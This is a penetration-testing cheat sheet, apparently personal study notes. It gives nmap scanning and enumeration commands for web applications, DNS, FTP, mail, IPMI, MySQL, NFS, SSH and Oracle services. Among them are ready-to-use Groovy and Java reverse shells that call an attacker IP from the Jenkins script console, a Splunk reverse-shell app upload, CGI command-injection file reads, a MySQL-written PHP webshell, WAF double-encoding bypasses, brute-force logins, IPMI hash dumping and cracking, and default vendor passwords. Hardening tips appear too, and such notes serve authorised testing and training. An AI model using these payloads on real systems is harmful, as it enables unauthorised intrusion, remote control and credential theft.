sudo nmap -sU -sV --top-ports 100 -v -oA nmap_top100_udp <TARGET>
# Find Live Hosts
sudo nmap -n -sn --reason -oA host_disc <TARGET>
# Create list
grep 'Status: Up' host_disc.gnmap | awk '{print $2}' | tee live_hosts.txt
# Scan normally w/ list
sudo nmap -n -Pn -sS -sV -sC --reason --top-ports=1000 -oA host_disc_live -iL live_hosts.txt
# Trace packet (MORE INFO)
sudo nmap -n -Pn -sS --packet-trace --disable-arp-ping -p <PORT> <TARGET>

# TCP Full-Connect (3-way handshake)
sudo nmap -n -Pn -sT -sV -sC --reason <TARGET>

# UDP (normally no response)
sudo nmap -n -Pn -sU -sV -sC --reason --top-ports=100 <TARGET>

# Create HTML reports from nmap XML scan
# https://nmap.org/book/output.html
xsltproc <SCAN_FILE>.xml -o <OUTPUT>.html

# SPAM: scan using multiple IP addresses
sudo nmap -n -Pn --max-retries=1 --source-port <SRC_PORT> -D RND:5 <TARGET>

# --max-retries <ATTEMPTS>
# -T <AGGRESSION_1_5>
# --packet-trace
# --reason
# --disable-arp-ping
# --top-ports=<NUM>
# --script <SCRIPT>
# -g <SRC_PORT>
# --dns-server <NAMESERVER>

Static nmap

A static nmap will not be able to perform -sC/--script nor -sV and there might be some issues with -O OS detection.

-sT, -sS (root), and -sV should be fine

wget https://github.com/andrew-d/static-binaries/raw/refs/heads/master/binaries/linux/x86_64/nmap

scp -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null nmap <USER>@<TARGET>:/tmp/

chmod +x nmap
./nmap -n -Pn -sT --stats-every 15s -vvv <TARGET_SUBNET>

Nmap Scripting Engine (NSE)

The Nmap Scripting Engine (NSE) extends Nmap’s functionality with custom scripts for vulnerability detection, service enumeration, and exploitation.

Reference: NSE Usage Guide

How to Use NSE

Basic Usage:

  • -sC - Run a set of popular, common scripts
  • --script - Run specific scripts by name, category, or file path
  • --script-help - Show arguments for --script-args

Advanced Usage:

  • Combine scripts with wildcards: --script "smb-*,http-*"
  • Use comprehensive documentation: NSE Script Database
  • Search for scripts: grep "ftp" /usr/share/nmap/scripts/script.db
# --script-trace : trace script scans
nmap -p 80 --script http-put --script-args http-put.url='/dav/shell.php',http-put.file='./shell.php' -oA nmap_http_put <TARGET>
Script Categories

Location: /usr/share/nmap/scripts

CategoryDescription
authScripts related to authentication, such as bypassing credentials or checking for default ones.
broadcastUsed to discover hosts on the local network by broadcasting requests.
bruteScripts that perform brute-force attacks to guess passwords or credentials.
defaultThe core set of scripts that are run automatically with -sC or -A.
discoveryActively gathers more information about a network, often using public registries or protocols like SNMP.
dosTests for vulnerabilities that could lead to a denial-of-service attack.
exploitActively attempts to exploit known vulnerabilities on a target system.
externalInteracts with external services or databases.
fuzzerSends unexpected or randomized data to a service to find bugs or vulnerabilities.
intrusiveThese scripts can be noisy, resource-intensive, or potentially crash the target system.
malwareScans for known malware or backdoors on a target host.
safeScripts that are considered safe to run as they are not designed to crash services, use excessive resources, or exploit vulnerabilities.
versionExtends the functionality of Nmap’s version detection feature.
vulnChecks a target for specific, known vulnerabilities.

Install New NSE Script

sudo wget --output-file /usr/share/nmap/scripts/<SCRIPT>.nse \
    https://svn.nmap.org/nmap/scripts/<SCRIPT>.nse

nmap --script-updatedb

Common Web Applications

The following sections will detail how to enumerate various web appliations, which could lead to exploitation and access.

EyeWitness

For quick web application discovery.

# https://github.com/RedSiege/EyeWitness
git clone https://github.com/RedSiege/EyeWitness.git && cd EyeWitness/setup

# cmake is already a part of build-essential
sed -i 's/cmake//gI' ./setup.sh
sudo ./setup.sh
cd ..
source eyewitness-venv/bin/activate

# SCAN using nmap XML results output
mkdir ../scan_eyewitness
python Python/EyeWitness.py --web -x ../scan_nmap_disc_all_ports.xml -d ../scan_eyewitness

Wordpress

WPScan is great, but manual enumeration can also uncover more information sometimes (e.g. certain plugins)

/robots.txt

User-agent: *
Disallow: /wp-admin/
Allow: /wp-admin/admin-ajax.php
Disallow: /wp-content/uploads/wpforms/

Sitemap: https://inlanefreight.local/wp-sitemap.xml

Folders

  • /wp-admin
  • /wp-content
    • plugins: often a source of vulnerabilities
    • themes: same
    • scanning for readme.txt under these folders can find hidden resources
  • wp-login.php

Users

  • Administrator: can add and delete users and posts, as well as editing source code
    • leads to RCE!
  • Editor: can publish and manage all posts
  • Author: can publish and manage their own posts
  • Contributor: can write and manage their own posts but not publish
  • Subscriber: can browse posts and edit their profiles

Page Source

curl -so- '<TARGET>/robots.txt'
curl -s <TARGET> | grep -i -e WordPress -e themes -e plugins

WPScan

# Generic enumeration
sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate

# Enumerate all plugins
sudo wpscan -t 20 --api-token <API_TOKEN> --url <TARGET> --enumerate ap

# Login brute-force
sudo wpscan -t 20 --url <TARGET> --password-attack xmlrpc -U <USER> -P /usr/share/wordlists/rockyou.txt

Joomla

/robots.txt

...
User-agent: *
Disallow: /administrator/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

Page Source

curl -s <TARGET>/README.txt
curl -s <TARGET>/administrator/manifests/files/joomla.xml | xmllint --format -
curl -s <TARGET> | grep -i Joomla

Scanning

pip3 install droopescan 

droopescan scan joomla --url <TARGET>

Drupal

Users:

  • Administrator: has complete control over the Drupal website.
  • Authenticated User: can log in to the website and perform operations such as adding and editing articles based on their permissions.
  • Anonymous: All website visitors are designated as anonymous. By default, these users are only allowed to read posts.

Page Source

curl -s <TARGET> | grep -i Drupal

# Version (older Drupals only)
curl -s <TARGET> | grep -m2 ""

Scanning

pip3 install droopescan

droopescan scan drupal --url <TARGET>

Tomcat

  • webapps/conf/tomcat-users.xml: users and creds for management web server manager
  • webapps/manager/WEB-INF/web.xml: deployment descriptor of the server page routes and classes
  • webapps/manager/WEB-INF/classes/: contains specific logic and probably sensitive information

Apache Jserv and Tomcat

sudo nmap -sV -p 8009,8080 <TARGET>

Page Source

curl -s <TARGET>/invalid | grep Tomcat 
curl -s <TARGET>/docs/ | grep Tomcat 

Find Web Manager Pages /manager or host-manager

feroxbuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -u <TARGET>

Brute-Force Web Manager

msfconsole
use auxiliary/scanner/http/tomcat_mgr_login
set rhosts <TARGET>
set VHOST <FQDN>
set RPORT <PORT>
set stop_on_success true
run

Jenkins

Attach Slave Servers and Tomcat

sudo nmap -sV -p 5000,8080 <TARGET>

Script Console

Linux

# Execute System Command
def cmd = '<COMMAND>'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout
nc -lvnp <PORT>

# Reverse Shell Callback
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<ATTACKER_IP>/<PORT>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Windows

nc -lvnp <PORT>

# Reverse Shell Callback
String host="<ATTACKER_IP>";
int port=<PORT>;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Splunk

Weak or null authentication are the most likely vectors

Splunk WebApp

sudo nmap -sV -p 8000,8089 <TARGET>

Uploading Callback Shell

<TARGET>/en-US/app/launcher/home

# Splunk Reverse Shell
git clone https://github.com/0xjpuff/reverse_shell_splunk.git
cd reverse_shell_splunk/reverse_shell_splunk/

# !!! UPDATE !!!
# Change 'attacker_ip_here' and attacker_port_here in the respective script(s)

cd ..
tar -cvzf updater.tar.gz reverse_shell_splunk/

nc -lvnp 8443

# NOTE: uploading the app, causes it run immediately; ensure `nc` is running
# From <TARGET>/en-US/manager/search/apps/local > Install app from file

PRTG Network Monitor

PRTG WebApp

sudo nmap -sV -p 80,443,8080 <TARGET>
curl -s <TARGET> | grep -i Version

osTicket

For some public facing services, one can acquire a valid, internal email by submitting a ticket, though this might require email activation.

Gitlab

CGI

  • Check in:
    • cgi
    • cgi-bin
# Overall (though a bit blunt)
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/LEGACY-SERVICES/CGIs/CGIs.txt -u 'http://<TARGET>/'

# Windows
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi/'
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "bat,cmd,exe,vbs,cgi" -u 'http://<TARGET>/cgi-bin/'

# Linux
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi/"
feroxbuster -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -x "sh,cgi,pl,py" -u "http://<TARGET>/cgi-bin/"

NOTE: any command injection might require URL-encoding of the commands though this can be avoided with curl’s option --data-urlencode

# CONFIRM
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& dir'
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\windows\system32\ipconfig.exe'

# File reads ("TACOMAN" is stripped out therefore arbitrary)
curl -s --get 'http://<URL>/cgi/welcome.bat' --data-urlencode '& C:\Windows\System32\find.exe /V "TACOMAN" <FILE>'

Remember certain commands like type or dir are internal DOS commands and do not exist as a .exe file.

ColdFusion

  • on TCP/8500 has the following directories:
    • CFIDE
    • cfdocs

CF Stack

# Mail, HTTP, HTTPS, RPC, Server Monitor, SSL
sudo nmap -sV -p 25,80,443,1935,5500,8500 <TARGET>

IIS

# HTTP, HTTPS, MSSQL, WinRM, WinRM Secure, Alt Port, Alt Port, Web Deploy
sudo nmap -sV -p 80,443,1433,5985,5986,8000,8080,8172 <TARGET>

LDAP

sudo nmap -sV -p 389,636 <TARGET>

Harderning

ApplicationHardening CategoryDiscussion
WordPressSecurity monitoringUse a security plugin such as WordFence which includes security monitoring, blocking of suspicious activity, country blocking, two-factor authentication, and more
JoomlaAccess controlsA plugin such as AdminExile can be used to require a secret key to log in to the Joomla admin page such as http://joomla.inlanefreight.local/administrator?thisismysecretkey
DrupalAccess controlsDisable, hide, or move the admin login page
TomcatAccess controlsLimit access to the Tomcat Manager and Host-Manager applications to only localhost. If these must be exposed externally, enforce IP whitelisting and set a very strong password and non-standard username.
JenkinsAccess controlsConfigure permissions using the Matrix Authorization Strategy plugin
SplunkRegular updatesMake sure to change the default password and ensure that Splunk is properly licensed to enforce authentication
PRTG Network MonitorSecure authenticationMake sure to stay up-to-date and change the default PRTG password
osTicketAccess controlsLimit access from the internet if possible
GitLabSecure authenticationEnforce sign-up restrictions such as requiring admin approval for new sign-ups, configuring allowed and denied domains

DNS

See more about… DNS

Source: Docs > 2 - Pre-Engagement > checklist#dns

DNS

  • 1. Server Recon & Zone Transfer (Identify Nameservers, Bind version, and attempt dig axfr or dig any for a full dump)
  • 2. Record Enumeration (Query standard types A, MX, TXT, SRV, and run Reverse DNS/PTR against IP ranges)
  • 3. Subdomain Discovery (Combine passive cert transparency logs via crt.sh with active bruteforcing via gobuster/puredns)
  • 4. Vulnerability Analysis (Check for dangling CNAMEs for Domain Takeover, and monitor LLMNR/NBT-NS if internal)
Dangerous Settings
OptionDescription
allow-queryDefines which hosts are allowed to send requests to the DNS server.
allow-recursionDefines which hosts are allowed to send recursive requests to the DNS server.
allow-transferDefines which hosts are allowed to receive zone transfers from the DNS server.
zone-statisticsCollects statistical data of zones.
# Add subdomains or vHosts
echo '<IP_ADDR> <DOMAIN>' | sudo tee -a /etc/hosts
# Registrar Info
whois <DOMAIN> | whois.txt

# Query Nameserver for domain
dig @<DNS_SERVER> ns <DOMAIN>

# PTR Record or Reverse DNS Query
dig @<DNS_SERVER> -x <IP_ADDRESS>

# OLD: version / all records / zone transfer
dig @<DNS_SERVER> CH TXT version.bind <DOMAIN>
dig @<DNS_SERVER> ANY <DOMAIN>
dig @<DNS_SERVER> AXFR <DOMAIN>

# --- Record Types ---
# ANY: return all records -- sometimes doesnt work!
# A: IPv4 address
# AAAA: IPv6 address
# CNAME: Canonical Name
# MX: Mail Servers
# NS: Name Servers
# PTR: Pointer Record
# SOA: Start of Authority
# TXT: Text Records
# SRV: Service Records
# CAA: Certification Authority Authorization
for type in A AAAA CNAME MX NS SOA SRV TXT CAA; do echo -e "\n--- $type ---"; dig @<DNS_SERVER> +short $type <DOMAIN>; done

# PASSIVE: subdomain enum
# NOTE: requires API keys
subfinder -v -d <DOMAIN>

# ACTIVE: subdomain enum (quick, external)
puredns bruteforce /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt <DOMAIN>

# ACTIVE: subdomain enum (slower, internal)
# /usr/share/SecLists/Discovery/DNS/namelist.txt
gobuster dns --threads 64 --output gobuster_dns_top110000 --quiet -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --resolver <DNS_SERVER> --domain <DOMAIN>

🌐 Subdomains

# Domain => Subdomains via Cert Registry
curl -s "https://crt.sh/?q=<DOMAIN>&output=json" | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/,"\n");}1;' | sort -u | tee subdomainlist.txt
# Full Info 
for i in $(cat subdomainlist.txt) ; do host $i | tee -a hostinfo.txt ; done
# (IPv4) Domain Name => IP Address
for i in $(cat subdomainlist.txt) ; do host $i | grep "has address" | cut -d" " -f1,4 | tee -a domain_ipaddress.txt ; done
# (IPv4) Addresses Only
for i in $(cat domain_ipaddress.txt) ; do host $i | grep "has address" | cut -d" " -f4 | tee -a ip-addresses.txt ; done
# (IPv4) Addresses => Services via Shodan
for i in $(cat ip-addresses.txt) ; do shodan host $i ; done

# DNS: old technique
dig any <DOMAIN>

# Content Search: google.com Dork
inurl:<DOMAIN> intext:<TERM>

LLMNR & NBT-NS

  • UDP 5355: LLMNR (modern)
  • UDP 137: NBT-NS (ancient)

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that used as failover protocols when DNS is unavailable.

On a Windows, the box will attempt to resolve a hostname in this order:

  1. Checks Local HOSTS file.
  2. Checks DNS Cache / DNS Server.
  3. (If DNS Fails): Sends LLMNR Multicast.
  4. (If LLMNR Fails): Sends NBT-NS Broadcast.

Remediation

Typically, disabling LLMNR and NBT-NS can cautiously used (to ensure no breakages) at the network or host-level.

  • Disable LLMNR by:

    • Group Policy –>
    • Computer Configuration –>
    • Administrative Templates –>
    • Network –>
    • DNS Client
    • Enable “Turn OFF Multicast Name Resolution”
  • Disable NBT-NS (locally only on each host or via GPO w/ PowerShell):

    • Network and Sharing Center –>
    • Control Panel –>
    • Change adapter settings
    • Right-clicking on the adapter –> properties –>
    • Selecting Internet Protocol Version 4 (TCP/IPv4) –> Properties –> Advanced –> selecting the WINS tab
    • Select “Disable NetBIOS over TCP/IP”

FTP

**TFTP has no auth and uses only UDP.

Dangerous Settings
SettingDescription
anonymous_enable=YESAllowing anonymous login?
anon_upload_enable=YESAllowing anonymous to upload files?
anon_mkdir_write_enable=YESAllowing anonymous to create new directories?
no_anon_password=YESDo not ask anonymous for password?
anon_root=/home/username/ftpDirectory for anonymous.
write_enable=YESAllow the usage of FTP commands: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, and SITE?
# Connect to FTP server in passive mode with anonymous login
ftp -p ftp://<USER>:<PASS>@<TARGET>
passive

# lftp equivalents
lftp ftp://<USER>:<PASS>@<TARGET>
set ftp:passive-mode off

# Execute local commands (outside of session)
!<COMMAND>

# List files and directories
ls -la
ls -laR

# Read file
get <FILENAME> -
# Download file
get <FILENAME>
# Upload file
put <FILENAME>
# Download all files
mirror .

# Download ALL files
mkdir ftp_files && cd ftp_files
wget -m --no-passive-ftp ftp://anonymous:anonymous@<TARGET>

HTTP

  • TCP 80: HTTP unencrypted
  • TCP 443: HTTPS encrypted
  • PORT (Web is oftentimes on other ports, especially internal proxies or admin pages on 8080 or 8433)
See more about… Web

Source: Docs > 2 - Pre-Engagement > checklist#web

Web

  • 1. Technology & Security Fingerprinting (Use whatweb and nikto to identify the server, frameworks, and WAF, and curl to inspect headers and robots.txt)
  • 2. Content & vHost Discovery (Run feroxbuster or gobuster dir to bruteforce directories/files, and gobuster vhost to find hidden virtual hosts)
  • 3. Automated Vulnerability Scanning (Use nikto or wapiti to scan for common misconfigurations and known vulnerabilities like outdated software)
  • 4. Manual Application Testing (OWASP Top 10) (After automated scans, manually inspect the application for logical flaws, focusing on Injection, Broken Access Control, and XSS)
# HTTP Headers + robots.txt
curl -skLI -o curl_http_headers.txt http://<TARGET>
curl -skL -o curl_robots.txt http://<TARGET>/robots.txt

---

# Checks for WAF (wbapp firewall)
wafw00f <TARGET>

# Enum web server + version + OS + frameworks + libraries
whatweb --aggression 3 http://<TARGET> --log-brief=whatweb_scan.txt

# Fingerprint web server
nikto -o nikto_fingerprint_scan.txt -Tuning b -h http://<TARGET>

# Enum web server vulns
nikto -o nikto_vuln_scan.txt -h http://<TARGET>

# Enum web app logic & vulns
wapiti -f txt -o wapiti_scan.txt --url http://<TARGET>

# Webpage Crawler
pip3 install --break-system-packages scrapy
wget -O ReconSpider.zip https://academy.hackthebox.com/storage/modules/144/ReconSpider.v1.2.zip && unzip ReconSpider.zip
python3 ReconSpider.py <URL> && cat results.json
# !!! CHECK "results.json" !!!
See more about… vHost Brute-Force

Source: Docs > 9 - Notes > ffuf#vhost-brute-force

vHost Brute-Force

Just changes HTTP header

# NOTE: filter out by response size since an HTTP response of 200 OK will always be received
ffuf -ic -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -H 'Host: FUZZ.<DOMAIN>' -u http://<TARGET>/ -fs <SIZE>
# Add NEW vHosts to automatically resolve them later
echo '<IP_ADDR> <VHOST>.<FQDN>' | sudo tee -a /etc/hosts

Directory Brute-Forcing

# OTHER LARGER DIR LIST
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Directory Bruteforce
feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_common --scan-dir-listings -u http://<TARGET>

# Bruteforce File Extensions (-x)
feroxbuster -t 64 -w /usr/share/seclists/Discovery/Web-Content/common.txt --depth 2 -o feroxbuster_dir_extensions --scan-dir-listings -x php,html,txt,bak,zip -u http://<TARGET>

---

# AUTOMATED Recon
git clone https://github.com/thewhiteh4t/FinalRecon.git
cd FinalRecon
chmod +x ./finalrecon.py
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
./finalrecon.py -nb -r -cd final_recon_scan -w /usr/share/wordlists/dirb/common.txt --headers --crawl --ps --dns --sub --dir --url http://<URL>

TODO: cull down AI slop below

URL Encoding

# 1. Curl Auto-Encoding (GET Requests)
# -G converts --data into a GET query string. --data-urlencode handles the special chars.
curl -G -i "http://<TARGET>/cgi/welcome.bat" --data-urlencode "cmd=C:\windows\system32\whoami.exe & id"

# 2. Python One-Liner (For generating payloads for Burp/Browser)
python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" 'cat /etc/passwd & id'

# 3. The "Slicker Way" (Add this to your ~/.zshrc or ~/.bashrc)
alias urlencode='python3 -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))"'
# Usage: urlencode "payload&goes=here"

URL Encoding (Percent-Encoding) is not an obfuscation technique; it is a mechanical requirement of the HTTP protocol. You must encode characters to stop the Web Server from confusing your Payload Data with HTTP Syntax.

CharacterHTTP Syntax MeaningWhy it breaks exploits if unencoded
&Parameter SeparatorServer splits your payload. ?cmd=id & whoami becomes Param 1: cmd=id, Param 2: whoami.
#URL FragmentBrowser stops sending data after #. The backend never sees it.
+ / SpaceRaw spaces break the HTTP header structure (GET /page HTTP/1.1).
?Query String StartTruncates or confuses path traversal payloads.

The CGI / Command Injection Rule: When exploiting CGI scripts (.sh, .bat, .cgi), the web server unwraps the URL and hands the raw string directly to the OS shell (/bin/bash or cmd.exe). If you do not URL-encode your shell operators (&, |, ;), the web server strips them out during the HTTP parsing phase, and the OS shell never executes them.

  • Double Encoding (WAF Bypass): If a WAF blocks %5C (\), encode the % symbol itself (% = %25). The payload becomes %255C. The WAF sees %255C (Allowed), passes it to the backend, which decodes it once to %5C, and the application decodes it again to \.
  • Space Variants:
    • In the URL Path (GET /path%20here), use %20.
    • In the Query String / Body (?cmd=id+whoami), + is historically interpreted as a space (application/x-www-form-urlencoded), but %20 is universally safer to avoid parsing desyncs. Default to %20.

IMAP/POP3

  • TCP 143/993: IMAP unc/enc
  • TCP 110/995: POP3 unc/enc
Dangerous Settings
SettingDescription
auth_debugEnables all authentication debug logging.
auth_debug_passwordsThis setting adjusts log verbosity, the submitted passwords, and the scheme gets logged.
auth_verboseLogs unsuccessful authentication attempts and their reasons.
auth_verbose_passwordsPasswords used for authentication are logged and can also be truncated.
auth_anonymous_usernameThis specifies the username to be used when logging in with the ANONYMOUS SASL mechanism.
# Enumerate
sudo nmap -n -Pn -sV -sC -p25,110,143,465,587,993,995 <TARGET>

### Non-Interactive

# IMAPS
curl -vkL --user '<USER>':'<PASSWORD>' 'imaps://<TARGET>' -X <COMMAND>

# POP3S
curl -vkL --user '<USER>':'<PASSWORD>' 'pop3s://<TARGET>' -X <COMMAND>

### Interactive

# IMAPS
openssl s_client -connect <TARGET>:imaps
1 LOGIN <USERNAME> <PASSWORD>
1 LIST "" *	# Lists all directories
1 SELECT "<MAILBOX>" # Selects a mailbox
1 UNSELECT "<MAILBOX>" # Exits the selected mailbox
1 FETCH <ID> all # Metadata of email
1 FETCH 1:* (BODY[]) # Show all emails
1 CREATE "INBOX" # Creates a mailbox with a specified name
1 DELETE "INBOX" # Deletes a mailbox
1 RENAME "ToRead" "Important" #	Renames a mailbox
1 LSUB "" *	# Returns a subset of names from the set of names that the User has declared as being active or subscribed
1 CLOSE	# Removes all messages with the Deleted flag set
1 LOGOUT # Closes the connection

# POP3s
openssl s_client -connect <TARGET>:pop3s
USER <USERNAME>
PASS <PASSWORD>
STAT	# List num of saved emails from the server.
LIST	# List number and size of all emails.
RETR <ID>	# Deliver the requested email by ID.
DELE <ID> # Delete the requested email by ID.
CAPA	# Display the server capabilities.
RSET	# Reset the transmitted information.
QUIT	# Close connection

IPMI

  • UDP 623: normal
  • Default Passwords:
    • Dell iDRAC: root:calvin
    • HP iLO: Administrator:[randomized 8-character string consisting of numbers and uppercase letters]
    • Supermicro IPMI: ADMIN:ADMIN

A hardware control protocol that gives “virtual” physical access to a machine.

Dangerous Settings
  • Server sends the salted hash of the user’s password to the user before authentication
### Enumeration via nmap
sudo nmap -sU -p623 --script ipmi-version

### Metasploit Scanner
setg RHOSTS <TARGET>
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_version/
use auxiliary/scanner/ipmi/ipmi_version
run
# https://www.rapid7.com/db/modules/auxiliary/scanner/ipmi/ipmi_dumphashes/
use auxiliary/scanner/ipmi/ipmi_dumphashes
run

### Crack HP iLO format
# https://hashcat.net/wiki/doku.php?id=example_hashes
hashcat -m 7300 ipmi_hash.txt -a 3 ?1?1?1?1?1?1?1?1 -1 ?d?u
hashcat -m 7300 -w 3 -O "<HASH>" /usr/share/wordlists/rockyou.txt

MySQL

Database > Schema > Table > Column > Value

Dangerous Settings
SettingsDescription
userSets which user the MySQL service will run as.
passwordSets the password for the MySQL user.
admin_addressThe IP address on which to listen for TCP/IP connections on the administrative network interface.
debugThis variable indicates the current debugging settings
sql_warningsThis variable controls whether single-row INSERT statements produce an information string if warnings occur.
secure_file_privThis variable is used to limit the effect of data import and export operations.
# Login
# - try "root"
mysql -u <USER> -h <TARGET>
mysql -u <USER> --password=<PASSWORD> -P <PORT> -h <TARGET>

sqlmap’s query data has a lot of good example commands for enumeration:

-- Show Version
SELECT @@version ;
SELECT version() ;

-- Show User
SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

SHOW databases ;
SHOW grants ;

-- Show if user is privileged
SELECT super_priv FROM mysql.user
SELECT super_priv FROM mysql.user WHERE user="root"

-- Show user permissions
SELECT grantee,privilege_type FROM information_schema.user_privileges
SELECT grantee,privilege_type FROM information_schema.user_privileges WHERE grantee="'root'@'localhost'"
-- look for interesting perms like "FILE" to read/write files

-- Tables and metadata
USE sys ;
SELECT host,unique_users FROM sys.host_summary ;

USE <DATABASE> ;
SHOW tables ;
DESCRIBE <TABLE> ;

-- Write data
INSERT INTO <TABLE> VALUES (<COL1_VAL>, <COL2_VAL>, <COL3_VAL>, ...);

-- Get data
SELECT * FROM <TABLE> WHERE <COLUMN> = "<VALUE>" ;
# WHERE x LIKE "%blah%" ;
SELECT * FROM <TABLE> WHERE <COLUMN> LIKE "%<VALUE>%" ORDER BY <COLUMN> ASC|DESC LIMIT <NUM> ;

-- Example COUNT
SELECT COUNT(*) FROM <TABLE> WHERE <COLUMN1> > 10000 OR <COLUMN2> NOT LIKE '%<KEYWORD>%' ;

Enumeration

MySQL

These commands are specific though not necessarily exclusive to MySQL

PayloadWhen to UseExpected OutputWrong Output
SELECT @@versionWhen we have full query outputMySQL Version ‘i.e. 10.3.22-MariaDB-1ubuntu1In MSSQL it returns MSSQL version. Error with other DBMS.
SELECT POW(1,1)When we only have numeric output1Error with other DBMS
SELECT SLEEP(5)Blind/No OutputDelays page response for 5 seconds and returns 0.Will not delay response with other DBMS
# Show currently used database (if inside a query)
SHOW database()

USE information_schema ;  # metadata

# Get database names
SELECT schema_name FROM information_schema.schemata ;

# Show tables
SELECT table_name,table_schema FROM information_schema.tables where table_schema='<DATABASE>' ;

# Get columns
select COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='<TABLE>' ;

# Finally read values
SELECT <COLUMN> FROM <DATABASE>.<TABLE> ;

Read Files

-- Read Files
SELECT LOAD_FILE("/etc/passwd") ;

Write Files

  1. User with FILE privilege enabled
  2. MySQL global secure_file_priv variable not enabled
  3. Write access to the location we want to write to on the back-end server
-- Write Files
SELECT variable_name, variable_value FROM information_schema.global_variables where variable_name="secure_file_priv"
-- For 4 columns
SELECT "","<?php system($_REQUEST[0]); ?>","","" INTO OUTFILE '/var/www/html/webshell.php';
curl -o- 'http://<TARGET>/webshell.php?0=<COMMAND>'

NFS

Similiar to SMB.

Dangerous Options
Dangerous OptionDescription
rwRead and write permissions.
insecurePorts above 1024 will be used.
nohideIf another file system was mounted below an exported directory, this directory is exported by its own exports entry.
no_root_squashAll files created by root are kept with the UID/GID 0.
# Show shared dirs
df
exportfs -sv

# Show NFS Shares on server
showmount -e <TARGET>

# Mount NFS
mkdir target-NFS
sudo mount -t nfs -o nolock <TARGET>:/ ./target-NFS
sudo umount ./target-NFS

# Enumerate
sudo nmap -n -Pn -p111,2049 -sV -sC <TARGET>
sudo nmap -n -Pn -p111,2049 -sV --script 'nfs*' <TARGET>

Nix: R-services

Suite of obsolete remote management tools. All communication is unencrypted including its authentication.

# Enum via nmap
sudo nmap -sV -p 512,513,514 <TARGET>

# Remote copy; does not confirm remote overwriting of files
rcp
# Remote shell
rsh
# Remote command
rexec
# Remote login (telnet-like)
rlogin <TARGET> -l <USER>
# Show authenticated users
rwho
rusers -al <TARGET>

Nix: Rsync

# Enum via nmap
sudo nmap -sV -p873 <TARGET>

# Enum dir
rsync -av --list-only rsync://<TARGET>/<DIR>

# Download dir optionally via SSH
rsync -av -e "ssh -p <SSH_PORT>" rsync://<TARGET>/<DIR>

Nix: SSH

Dangerous Settings
SettingDescription
PasswordAuthentication yesAllows password-based authentication.
PermitEmptyPasswords yesAllows the use of empty passwords.
PermitRootLogin yesAllows to log in as the root user.
Protocol 1Uses an outdated version of encryption.
X11Forwarding yesAllows X11 forwarding for GUI applications.
AllowTcpForwarding yesAllows forwarding of TCP ports.
PermitTunnelAllows tunneling.
DebianBanner yesDisplays a specific banner when logging in.
# Audit sercurity of SSH server
# https://github.com/jtesta/ssh-audit
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py -l warn <TARGET> | tee ssh_audit.txt

# Specify auth-method: password
ssh -v -o PreferredAuthentications=password <USER>@<TARGET>

sshpass -p '<PASSWORD>' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 <USER>@<TARGET>

# Force auth-method: privkey
ssh -i <PRIVATE_KEY> <USER>@<TARGET>

Oracle TNS

Oracle’s version of SQL.

# SID Brute-forcing via nmap
sudo nmap -p1521 -sV --script oracle-sid-brute <TARGET>

### ODAT
# TNS Setup for Enumeration
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
wget https://download.oracle.com/otn_software/linux/instantclient/214000/instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
sudo mkdir -p /opt/oracle
sudo unzip -d /opt/oracle instantclient-basic-linux.x64-21.4.0.0.0dbru.zip
sudo unzip -d /opt/oracle instantclient-sqlplus-linux.x64-21.4.0.0.0dbru.zip
export LD_LIBRARY_PATH=/opt/oracle/instantclient_21_4:$LD_LIBRARY_PATH
export PATH=$LD_LIBRARY_PATH:$PATH
source ~/.bashrc
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
